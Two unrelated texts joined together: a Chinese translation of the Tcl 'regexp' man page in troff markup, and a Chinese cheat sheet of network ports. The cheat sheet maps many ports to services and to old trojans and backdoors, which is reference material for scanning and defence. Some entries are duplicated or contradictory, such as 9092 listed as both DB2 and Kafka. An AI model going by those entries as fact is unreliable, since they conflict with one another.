'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: regexp.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH regexp 3tcl 8.3 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
regexp \- 针对一个字符串匹配一个正则表达式
.SH "总览 SYNOPSIS"
\fBregexp \fR?\fIswitches\fR? \fIexp string \fR?\fImatchVar\fR? ?\fIsubMatchVar subMatchVar ...\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
确定正则表达式 \fIexp\fR 是否匹配部分或全部 \fIstring\fR,在未指定 \fB-inline\fR (参见后面)的时候,如果匹配则返回 1,否则返回 0。(正则表达式匹配的描述请参见 \fBre_syntax\fR 参考页。)
.LP
如果在 \fIstring\fR 之后指定了补充的参数,则把它们作为变量的名字对待,把关于 \fIstring\fR 中匹配 \fIexp \fR的那部分的信息返回到其中。\fIMatchVar\fR 将被设置为匹配全部 \fIexp \fR的 \fIstring \fR的范围。第一个\fIsubMatchVar\fR 将包含与 \fIexp \fR中最左的圆括号中的子表达式相匹配的 \fIstring\fR 中那部分字符,下一个 \fIsubMatchVar\fR 将包含与\fIexp \fR中从左到右的下一个圆括号中的子表达式相匹配的 \fIstring\fR 中那部分字符,以此类推。
.PP
如果给 \fBregexp\fR 的初始的参数以 \fB-\fR 为开始,则它们被作为开关来对待。当前支持下列开关:
.TP 15
\fB\-about\fR
不再尝试匹配正则表达式,返回包含关于正则表达式信息的一个列表。列表的第一个元素是子表达式计数。第二个元素是描述正则表达式各种特性的属性名的一个列表。这个开关主要用于调试目的。
.TP 15
\fB\-expanded\fR
启用展开的(expanded)正则表示式语法,将忽略白空格和注释。这与指定 \fB(?x)\fR 嵌入选项相同。(see METASYNTAX, below).
.TP 15
\fB\-indices\fR
改变在 \fIsubMatchVar\fR 中存储的内容。不再存储 \fIstring \fR中匹配的字符串,每个变量将包含两个十进制字符串组成的一个列表,它们给出匹配的字符范围中的第一个和最后一个字符在 \fIstring\fR 中的索引 。
.TP 15
\fB\-line\fR
启用换行敏感匹配。缺省的,换行是没有特殊意义的一个完全的普通字符。加上了这个标志,‘[^’ 方括号表达式和‘.’将永不匹配换行,‘^’除了它的正常功能之外还匹配在任何换行之后的空串,而‘$’除了它的正常功能之外还匹配在任何换行之前的空串。这个标志等价于指定 \fB-linestop\fR 和 \fB-lineanchor \fR二者,或者 \fB(?n)\fR 嵌入选项。 (see METASYNTAX, below).
.TP 15
\fB\-linestop\fR
改变‘[^’方括号表达式和‘.’的行为,这样表示式将停止于换行。这与指定 \fB(?p)\fR 嵌入选项相同。 (see METASYNTAX, below).
.TP 15
\fB\-lineanchor\fR
改变‘^’和‘$’(“锚”)的行为,这样它们分别的匹配一行的开始和结束。这与指定 \fB(?w)\fR 嵌入选项相同。 (see METASYNTAX, below).
.TP 15
\fB\-nocase\fR
导致在匹配处理中把 \fIstring\fR 中的大写字符与小写字符同样对待。
.VS 8.3
.TP 15
\fB\-all\fR
导致尽字符串中可能的次数去匹配正则表达式,返回发现的匹配总数。如果一起指定的还有匹配变量,它们将只保持最后的匹配。
.TP 15
\fB\-inline\fR
导致命令把原先要放置到匹配变量中的数据作为一个列表返回。当使用 \fB-inline\fR 的时候,不可以指定匹配变量。如果还使用了 \fB-all\fR,在每次重复操作(iteration)时串联列表,这样将总是返回一个平坦的列表。对于每次匹配的重复操作,这个命令将添加整体的匹配数据,为正则表达式中的每个子表达式加上一个元素。例如:
.CS
regexp -inline -- {\\w(\\w)} " inlined "
=> {in n}
regexp -all -inline -- {\\w(\\w)} " inlined "
=> {in n li i ne e}
.CE
.TP 15
\fB\-start\fR \fIindex\fR
在字符串中指定一个字符索引,在这个偏移量上开始匹配。当使用了这个开关的时候,‘^’将不匹配行的开始,而 \A 将仍旧在 \fIindex \fR上匹配字符串的开始。如果指定了 \fB-indices\fR,编制索引将以输入字符串的绝对开始为起始。\fIindex\fR 将被约束为输入字符串的束缚。
.VE 8.3
.TP 15
\fB\-\|\-\fR
标记开关的结束。这个标志之后的参数即使以 \fB- \fR为开始仍被作为 \fIexp\fR 对待。
.PP
如果 \fIsubMatchVar\fR 比 \fIexp\fR 中的圆括号中的子表达式多,或者在 \fIexp\fR 中的一个特定子表达式不匹配字符串。(比如,因为它是不被匹配的子表达式的一部分), 则在指定了 \fB-indices\fR 的时候,相应\fIsubMatchVar\fR 将被设置成``\fB\-1 \-1\fR'',其他时候被设置成空串。
.SH "参见 SEE ALSO"
re_syntax(n), regsub(n)
.SH "关键字 KEYWORDS"
match, regular expression, string
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/10/27
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 端口与对应服务清单
在[计算机常用端口号汇总](https://blog.csdn.net/qq_29229567/article/details/84636959)一文的基础上进行修改,以作备忘,感谢原作者。
## 计算机常用端口
HTTP:80:HTTP
DHCP:服务器端的端口号是67
DHCP:客户机端的端口号是68
POP3:POP3仅仅是接收协议,POP3客户端使用SMTP向服务器发送邮件。POP3所用的端口号是110。
SMTP:端口号是25。SMTP真正关心的不是邮件如何被传送,而只关心邮件是否能顺利到达目的地。SMTP具有健壮的邮件处
理特性,这种特性允许邮件依据一定标准自动路由,SMTP具有当邮件地址不存在时立即通知用户的能力,并且具有在一定
时间内将不可传输的邮件返回发送方的特点。
Telnet:端口号是23。Telnet是一种最老的Internet应用,起源于ARPNET。它的名字是“电信网络协议
(Telecommunication Network Protocol)”的缩写。
FTP:FTP使用的端口有20和21。20端口用于数据传输,21端口用于控制信令的传输,控制信息和数据能够同时传输,这是
FTP的特殊这处。FTP采用的是TCP连接。
TFTP:端口号69,使用的是UDP的连接。
DNS:53,名称服务
NetBIOS:137,138,139,其中137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入
的连接试图获得NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和 SAMBA。还有WINS Regisrtation也用它。
NNTP 网络新闻传输协议:119
SNMP(简单网络管理协议):161端口
RPC(远程过程调用)服务:135端口
QQ:使用8000(服务端)和4000端口(客户端)
21 端口:21 端口主要用于FTP(File Transfer Protocol,文件传输协议)服务。
23 端口:23 端口主要用于Telnet(远程登录)服务,是Internet上普遍采用的登录和仿真程序。
25 端口:25 端口为SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)服务器所开放,主要用于发送邮件,如
今绝大多数邮件服务器都使用该协议。
53 端口:53 端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS 服务在NT 系统中
使用的最为广泛。
67、68 端口:67、68 端口分别是为Bootp 服务的Bootstrap Protocol Server(引导程序协议服务端)和Bootstrap
Protocol Client(引导程序协议客户端)开放的端口。
69 端口:TFTP 是Cisco 公司开发的一个简单文件传输协议,类似于FTP。
79 端口:79 端口是为Finger 服务开放的,主要用于查询远程主机在线用户、操作系统类型以及是否缓冲区溢出等用户的
详细信息。
80 端口:80 端口是为HTTP(HyperText Transport Protocol,超文本传输协议)开放的,这是上网冲浪使用最多的协议
,主要用于在WWW(World Wide Web,万维网)服务上传输信息的协议。
99 端口:99 端口是用于一个名为“Metagram Relay”(亚对策延时)的服务该服务比较少见,一般是用不到的。
109、110 端口:109 端口是为POP2(Post Office Protocol Version2,邮局协议2)服务开放的,110 端口是为POP3(邮
件协议3)服务开放的,POP2、POP3 都是主要用于接收邮件的。
111 端口:111 端口是SUN 公司的RPC(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系
统中不同计算机的内部进程通信,RPC 在多种网络服务中都是很重要的组件。
113 端口:113 端口主要用于Windows 的“Authentication Service”(验证服务)。
119 端口:119 端口是为“Network News Transfer Protocol”(网络新闻组传输协议,简称NNTP)开放的。
135 端口:135 端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型
)服务。
137 端口:137 端口主要用于“NetBIOS Name Service”(NetBIOS名称服务)。
139 端口:139 端口是为“NetBIOS Session Service”提供的,主要用于提供Windows 文件和打印机共享以及Unix 中的
Samba 服务。
143 端口:143 端口主要是用于“Internet Message Access Protocol”v2(Internet 消息访问协议,简称IMAP)。
161 端口:161 端口是用于“Simple Network Management Protocol”(简单网络管理协议,简称SNMP)。
443 端口:443 端口即网页浏览端口,主要是用于HTTPS 服务,是提供加密和通过安全端口传输的另一种HTTP。
554 端口:554 端口默认情况下用于“Real Time Streaming Protocol”(实时流协议,简称RTSP)。
1024 端口:1024 端口一般不固定分配给某个服务,在英文中的解释是“Reserved”(保留)。
1080 端口:1080 端口是Socks 代理服务使用的端口,大家平时上网使用的WWW 服务使用的是HTTP 协议的代理服务。
1755 端口:1755 端口默认情况下用于“Microsoft Media Server”(微软媒体服务器,简称MMS)。
1433 端口: SQL Server 数据库
1521 端口: Oracle 数据库
3306端口 : MySQL 数据库
3389端口: 远程桌面 rdp
6379端口: Redis 端口
9092 端口: DB2
11211端口: memcached 端口
27017端口: mongodb 数据库
9200端口: ElasticSearch 数据库
5601端口: Kibana
5044端口: Logstash
## 大数据常见端口汇总
- Hadoop
- 50070:HDFS WEB UI端口
- 8020 : 高可用的HDFS RPC端口
- 9000 : 非高可用的HDFS RPC端口
- 8088 : Yarn 的WEB UI 接口
- 8485 : JournalNode 的RPC端口
- 8019 : ZKFC端口
- Zookeeper
- 2181 : 客户端连接zookeeper的端口
- 2888 : zookeeper集群内通讯使用,Leader监听此端口
- 3888 : zookeeper端口 用于选举leader
- Hbase:
- 60010:Hbase的master的WEB UI端口
- 60030:Hbase的regionServer的WEB UI 管理端口
- Hive:
- 9083 : metastore服务默认监听端口
- 10000:Hive 的JDBC端口
- Spark
- 7077 : spark 的master与worker进行通讯的端口 standalone集群提交Application的端口
- 8080 : master的WEB UI端口 资源调度
- 8081 : worker的WEB UI 端口 资源调度
- 4040 : Driver的WEB UI 端口 任务调度
- 18080:Spark History Server的WEB UI 端口
- Kafka
- 9092: Kafka集群节点之间通信的RPC端口
- CDH:
- 7180: Cloudera Manager WebUI端口
- 7182: Cloudera Manager Server 与 Agent 通讯端口
- HUE
- 8888: Hue WebUI 端口
- ELK
- 9200:elasticsearch端口
- 5601:Kibana端口
## TCP/UDP可用端口详细对应表
TCP端口(静态端口)
TCP 0= Reserved
TCP 1=TCP Port Service Multiplexer
TCP 2=Death
TCP 5=Remote Job Entry,yoyo
TCP 7=Echo
TCP 11=Skun
TCP 12=Bomber
TCP 16=Skun
TCP 17=Skun
TCP 18=消息传输协议,skun
TCP 19=Skun
TCP 20=FTP Data,Amanda
TCP 21=文件传输,Back Construction,Blade Runner,Doly Trojan,Fore,FTP trojan,Invisible FTP,Larva,WebEx,WinCrash
TCP 22=远程登录协议
TCP 23=远程登录(Telnet),Tiny Telnet Server (= TTS)
TCP 25=电子邮件(SMTP),Ajan,Antigen,Email Password Sender,Happy 99,Kuang2,ProMail trojan,Shtrilitz,Stealth,Tapiras,Terminator,WinPC,WinSpy,Haebu Coceda
TCP 27=Assasin
TCP 28=Amanda
TCP 29=MSG ICP
TCP 30=Agent 40421
TCP 31=Agent 31,Hackers Paradise,Masters Paradise,Agent 40421
TCP 37=Time,ADM worm
TCP 39=SubSARI
TCP 41=DeepThroat,Foreplay
TCP 42=Host Name Server
TCP 43=WHOIS
TCP 44=Arctic
TCP 48=DRAT
TCP 49=主机登录协议
TCP 50=DRAT
TCP 51=IMP Logical Address Maintenance,Fuck Lamers Backdoor
TCP 52=MuSka52,Skun
TCP 53=DNS,Bonk (DOS Exploit)
TCP 54=MuSka52
TCP 58=DMSetup
TCP 59=DMSetup
TCP 63=whois++
TCP 64=Communications Integrator
TCP 65=TACACS-Database Service
TCP 66=Oracle SQL*NET,AL-Bareki
TCP 67=Bootstrap Protocol Server
TCP 68=Bootstrap Protocol Client
TCP 69=TFTP,W32.Evala.Worm,BackGate Kit,Nimda,Pasana,Storm,Storm worm,Theef,Worm.Cycle.a
TCP 70=Gopher服务,ADM worm
TCP 79=用户查询(Finger),Firehotcker,ADM worm
TCP 80=超文本服务器(Http),Executor,RingZero
TCP 81=Chubo,Worm.Bbeagle.q
TCP 82=Netsky-Z
TCP 88=Kerberos krb5服务
TCP 99=Hidden Port
TCP 102=消息传输代理
TCP 108=SNA网关访问服务器
TCP 109=Pop2
TCP 110=电子邮件(Pop3),ProMail
TCP 113=Kazimas,Auther Idnet
TCP 115=简单文件传输协议
TCP 118=SQL Services,Infector 1.4.2
TCP 119=新闻组传输协议(Newsgroup(Nntp)),Happy 99
TCP 121=JammerKiller,Bo jammerkillah
TCP 123=网络时间协议(NTP),Net Controller
TCP 129=Password Generator Protocol
TCP 133=Infector 1.x
TCP 135=微软DCE RPC end-point mapper服务
TCP 137=微软Netbios Name服务(网上邻居传输文件使用)
TCP 138=微软Netbios Name服务(网上邻居传输文件使用)
TCP 139=微软Netbios Name服务(用于文件及打印机共享)
TCP 142=NetTaxi
TCP 143=Internet 邮件访问协议版本 4(IMAP4)
TCP 146=FC Infector,Infector
TCP 150=NetBIOS Session Service
TCP 156=SQL服务器
TCP 161=Snmp
TCP 162=Snmp-Trap
TCP 170=A-Trojan
TCP 177=X Display管理控制协议
TCP 179=Border网关协议(BGP)
TCP 190=网关访问控制协议(GACP)
TCP 194=Irc
TCP 197=目录定位服务(DLS)
TCP 220=Internet 邮件访问协议版本 3(IMAP3)
TCP 256=Nirvana
TCP 315=The Invasor
TCP 371=ClearCase版本管理软件
TCP 389=Lightweight Directory Access Protocol (LDAP)
TCP 396=Novell Netware over IP
TCP 420=Breach
TCP 421=TCP Wrappers
TCP 443=安全服务(HTTPS)
TCP 444=Simple Network Paging Protocol(SNPP)
TCP 445=Microsoft-DS
TCP 455=Fatal Connections
TCP 456=Hackers paradise,FuseSpark
TCP 458=苹果公司QuickTime
TCP 513=Grlogin
TCP 514=RPC Backdoor
UDP 520=Rip
TCP 531=Rasmin,Net666
TCP 544=kerberos kshell
TCP 546=DHCP Client
TCP 547=DHCP Server
TCP 548=Macintosh文件服务
TCP 555=Ini-Killer,Phase Zero,Stealth Spy
TCP 569=MSN
TCP 605=SecretService
TCP 606=Noknok8
TCP 660=DeepThroat
TCP 661=Noknok8
TCP 666=Attack FTP,Satanz Backdoor,Back Construction,Dark Connection Inside 1.2
TCP 667=Noknok7.2
TCP 668=Noknok6
TCP 669=DP trojan
TCP 692=GayOL
TCP 707=Welchia,nachi
TCP 777=AIM Spy
TCP 808=RemoteControl,WinHole
TCP 815=Everyone Darling
TCP 901=Backdoor.Devil
TCP 911=Dark Shadow
TCP 990=ssl加密
TCP 993=IMAP
TCP 999=DeepThroat
TCP 1000=Der Spaeher
TCP 1001=Silencer,WebEx,Der Spaeher
TCP 1003=BackDoor
TCP 1010=Doly
TCP 1011=Doly
TCP 1012=Doly
TCP 1015=Doly
TCP 1016=Doly
TCP 1020=Vampire
TCP 1023=Worm.Sasser.e
TCP端口(动态端口)
TCP 1024=NetSpy.698(YAI)
TCP 1025=NetSpy.698,Unused Windows Services Block
TCP 1026=Unused Windows Services Block
TCP 1027=Unused Windows Services Block
TCP 1028=Unused Windows Services Block
TCP 1029=Unused Windows Services Block
TCP 1030=Unused Windows Services Block
TCP 1033=Netspy
TCP 1035=Multidropper
TCP 1042=Bla
TCP 1045=Rasmin
TCP 1047=GateCrasher
TCP 1050=MiniCommand
TCP 1059=nimreg
TCP 1069=Backdoor.TheefServer.202
TCP 1070=Voice,Psyber Stream Server,Streaming Audio Trojan
TCP 1080=Wingate,Worm.BugBear.B,Worm.Novarg.B
TCP 1090=Xtreme,VDOLive
TCP 1092=LoveGate
TCP 1095=Rat
TCP 1097=Rat
TCP 1098=Rat
TCP 1099=Rat
TCP 1110=nfsd-keepalive
TCP 1111=Backdoor.AIMVision
TCP 1155=Network File Access
TCP 1170=Psyber Stream Server,Streaming Audio trojan,Voice
TCP 1200=NoBackO
TCP 1201=NoBackO
TCP 1207=Softwar
TCP 1212=Nirvana,Visul Killer
TCP 1234=Ultors
TCP 1243=BackDoor-G,SubSeven,SubSeven Apocalypse
TCP 1245=VooDoo Doll
TCP 1269=Mavericks Matrix
TCP 1313=Nirvana
TCP 1349=BioNet
TCP 1433=Microsoft SQL服务
TCP 1441=Remote Storm
TCP 1492=FTP99CMP(BackOriffice.FTP)
TCP 1503=NetMeeting T.120
TCP 1509=Psyber Streaming Server
TCP 1600=Shivka-Burka
TCP 1688=Key Management Service(密钥管理服务)
TCP 1703=Exloiter 1.1
TCP 1720=NetMeeting H.233 call Setup
TCP 1723=VPN 网关(PPTP)
TCP 1731=NetMeeting音频调用控制
TCP 1807=SpySender
TCP 1966=Fake FTP 2000
TCP 1976=Custom port
TCP 1981=Shockrave
TCP 1990=stun-p1 cisco STUN Priority 1 port
TCP 1990=stun-p1 cisco STUN Priority 1 port
TCP 1991=stun-p2 cisco STUN Priority 2 port
TCP 1992=stun-p3 cisco STUN Priority 3 port,ipsendmsg IPsendmsg
TCP 1993=snmp-tcp-port cisco SNMP TCP port
TCP 1994=stun-port cisco serial tunnel port
TCP 1995=perf-port cisco perf port
TCP 1996=tr-rsrb-port cisco Remote SRB port
TCP 1997=gdp-port cisco Gateway Discovery Protocol
TCP 1998=x25-svc-port cisco X.25 service (XOT)
TCP 1999=BackDoor,TransScout
TCP 2000=Der Spaeher,INsane Network
TCP 2002=W32. Beagle .AX @mm
TCP 2001=Transmisson scout
TCP 2002=Transmisson scout
TCP 2003=Transmisson scout
TCP 2004=Transmisson scout
TCP 2005=TTransmisson scout
TCP 2011=cypress
TCP 2015=raid-cs
TCP 2023=Ripper,Pass Ripper,Hack City Ripper Pro
TCP 2049=NFS
TCP 2115=Bugs
TCP 2121=Nirvana
TCP 2140=Deep Throat,The Invasor
TCP 2155=Nirvana
TCP 2208=RuX
TCP 2255=Illusion Mailer
TCP 2283=HVL Rat5
TCP 2300=PC Explorer
TCP 2311=Studio54
TCP 2556=Worm.Bbeagle.q
TCP 2565=Striker
TCP 2583=WinCrash
TCP 2600=Digital RootBeer
TCP 2716=Prayer Trojan
TCP 2745=Worm.BBeagle.k
TCP 2773=Backdoor,SubSeven
TCP 2774=SubSeven2.1&2.2
TCP 2801=Phineas Phucker
TCP 2989=Rat
TCP 3024=WinCrash trojan
TCP 3127=Worm.Novarg
TCP 3128=RingZero,Worm.Novarg.B
TCP 3129=Masters Paradise
TCP 3150=Deep Throat,The Invasor
TCP 3198=Worm.Novarg
TCP 3210=SchoolBus
TCP 3332=Worm.Cycle.a
TCP 3333=Prosiak
TCP 3389=超级终端(远程桌面)
TCP 3456=Terror
TCP 3459=Eclipse 2000
TCP 3700=Portal of Doom
TCP 3791=Eclypse
TCP 3801=Eclypse
TCP 3996=Portal of Doom,RemoteAnything
TCP 4000=腾讯QQ客户端
TCP 4060=Portal of Doom,RemoteAnything
TCP 4092=WinCrash
TCP 4242=VHM
TCP 4267=SubSeven2.1&2.2
TCP 4321=BoBo
TCP 4444=Prosiak,Swift remote
TCP 4500=W32.HLLW.Tufas
TCP 4567=File Nail
TCP 4590=ICQTrojan
TCP 4899=Remote Administrator服务器
TCP 4950=ICQTrojan
TCP 5000=WindowsXP服务器,Blazer 5,Bubbel,Back Door Setup,Sockets de Troie
TCP 5001=Back Door Setup,Sockets de Troie
TCP 5002=cd00r,Shaft
TCP 5011=One of the Last Trojans (OOTLT)
TCP 5025=WM Remote KeyLogger
TCP 5031=Firehotcker,Metropolitan,NetMetro
TCP 5032=Metropolitan
TCP 5190=ICQ Query
TCP 5321=Firehotcker
TCP 5333=Backage Trojan Box 3
TCP 5343=WCrat
TCP 5400=Blade Runner,BackConstruction1.2
TCP 5401=Blade Runner,Back Construction
TCP 5402=Blade Runner,Back Construction
TCP 5471=WinCrash
TCP 5512=Illusion Mailer
TCP 5521=Illusion Mailer
TCP 5550=Xtcp,INsane Network
TCP 5554=Worm.Sasser
TCP 5555=ServeMe
TCP 5556=BO Facil
TCP 5557=BO Facil
TCP 5569=Robo-Hack
TCP 5598=BackDoor 2.03
TCP 5631=PCAnyWhere data
TCP 5632=PCAnyWhere
TCP 5637=PC Crasher
TCP 5638=PC Crasher
TCP 5698=BackDoor
TCP 5714=Wincrash3
TCP 5741=WinCrash3
TCP 5742=WinCrash
TCP 5760=Portmap Remote Root Linux Exploit
TCP 5880=Y3K RAT
TCP 5881=Y3K RAT
TCP 5882=Y3K RAT
TCP 5888=Y3K RAT
TCP 5889=Y3K RAT
TCP 5900=WinVnc
TCP 6000=Backdoor.AB
TCP 6006=Noknok8
TCP 6129=Dameware Nt Utilities服务器
TCP 6272=SecretService
TCP 6267=广外女生
TCP 6400=Backdoor.AB,The Thing
TCP 6500=Devil 1.03
TCP 6661=Teman
TCP 6666=TCPshell.c
TCP 6667=NT Remote Control,Wise 播放器接收端口
TCP 6668=Wise Video广播端口
TCP 6669=Vampyre
TCP 6670=DeepThroat,iPhone
TCP 6671=Deep Throat 3.0
TCP 6711=SubSeven
TCP 6712=SubSeven1.x
TCP 6713=SubSeven
TCP 6723=Mstream
TCP 6767=NT Remote Control
TCP 6771=DeepThroat
TCP 6776=BackDoor-G,SubSeven,2000 Cracks
TCP 6777=Worm.BBeagle
TCP 6789=Doly Trojan
TCP 6838=Mstream
TCP 6883=DeltaSource
TCP 6912=Shit Heep
TCP 6939=Indoctrination
TCP 6969=GateCrasher,Priority,IRC 3
TCP 6970=RealAudio,GateCrasher
TCP 7000=Remote Grab,NetMonitor,SubSeven1.x
TCP 7001=Freak88
TCP 7201=NetMonitor
TCP 7215=BackDoor-G,SubSeven
TCP 7001=Freak88,Freak2k
TCP 7300=NetMonitor
TCP 7301=NetMonitor
TCP 7306=NetMonitor,NetSpy 1.0
TCP 7307=NetMonitor,ProcSpy
TCP 7308=NetMonitor,X Spy
TCP 7323=Sygate服务器端
TCP 7424=Host Control
TCP 7511=聪明基因
TCP 7597=Qaz
TCP 7609=Snid X2
TCP 7626=冰河
TCP 7777=The Thing
TCP 7789=Back Door Setup,ICQKiller
TCP 7983=Mstream
TCP 8000=腾讯OICQ服务器端,XDMA
TCP 8010=Wingate,Logfile
TCP 8011=WAY2.4
TCP 8080=WWW 代理,Ring Zero,Chubo,Worm.Novarg.B
TCP 8102=网络神偷
TCP
8181=W32.Erkez.D@mm
TCP 8520=W32.Socay.Worm
TCP 8594=I-Worm/Bozori.a
TCP 8787=BackOfrice 2000
TCP 8888=Winvnc
TCP 8897=Hack Office,Armageddon
TCP 8989=Recon
TCP 9000=Netministrator
TCP 9325=Mstream
TCP 9400=InCommand 1.0
TCP 9401=InCommand 1.0
TCP 9402=InCommand 1.0
TCP 9872=Portal of Doom
TCP 9873=Portal of Doom
TCP 9874=Portal of Doom
TCP 9875=Portal of Doom
TCP 9876=Cyber Attacker
TCP 9878=TransScout
TCP 9989=Ini-Killer
TCP 9898=Worm.Win32.Dabber.a
TCP 9999=Prayer Trojan
TCP 10067=Portal of Doom
TCP 10080=Worm.Novarg.B
TCP 10084=Syphillis
TCP 10085=Syphillis
TCP 10086=Syphillis
TCP 10101=BrainSpy
TCP 10167=Portal Of Doom
TCP 10168=Worm.Supnot.78858.c,Worm.LovGate.T
TCP 10520=Acid Shivers
TCP 10607=Coma trojan
TCP 10666=Ambush
TCP 11000=Senna Spy
TCP 11050=Host Control
TCP 11051=Host Control
TCP 11223=Progenic,Hack ’99KeyLogger
TCP 11831=TROJ_LATINUS.SVR
TCP 12076=Gjamer,MSH.104b
TCP 12223=Hack’99 KeyLogger
TCP 12345=GabanBus,NetBus 1.6/1.7,Pie Bill Gates,X-bill
TCP 12346=GabanBus,NetBus 1.6/1.7,X-bill
TCP 12349=BioNet
TCP 12361=Whack-a-mole
TCP 12362=Whack-a-mole
TCP 12363=Whack-a-mole
TCP12378=W32/Gibe@MM
TCP 12456=NetBus
TCP 12623=DUN Control
TCP 12624=Buttman
TCP 12631=WhackJob,WhackJob.NB1.7
TCP 12701=Eclipse2000
TCP 12754=Mstream
TCP 13000=Senna Spy
TCP 13010=Hacker Brazil
TCP 13013=Psychward
TCP 13223=Tribal Voice的聊天程序PowWow
TCP 13700=Kuang2 The Virus
TCP 14456=Solero
TCP 14500=PC Invader
TCP 14501=PC Invader
TCP 14502=PC Invader
TCP 14503=PC Invader
TCP 15000=NetDaemon 1.0
TCP 15092=Host Control
TCP 15104=Mstream
TCP 16484=Mosucker
TCP 16660=Stacheldraht (DDoS)
TCP 16772=ICQ Revenge
TCP 16959=Priority
TCP 16969=Priority
TCP 17027=提供广告服务的Conducent"adbot"共享软件
TCP 17166=Mosaic
TCP 17300=Kuang2 The Virus
TCP 17490=CrazyNet
TCP 17500=CrazyNet
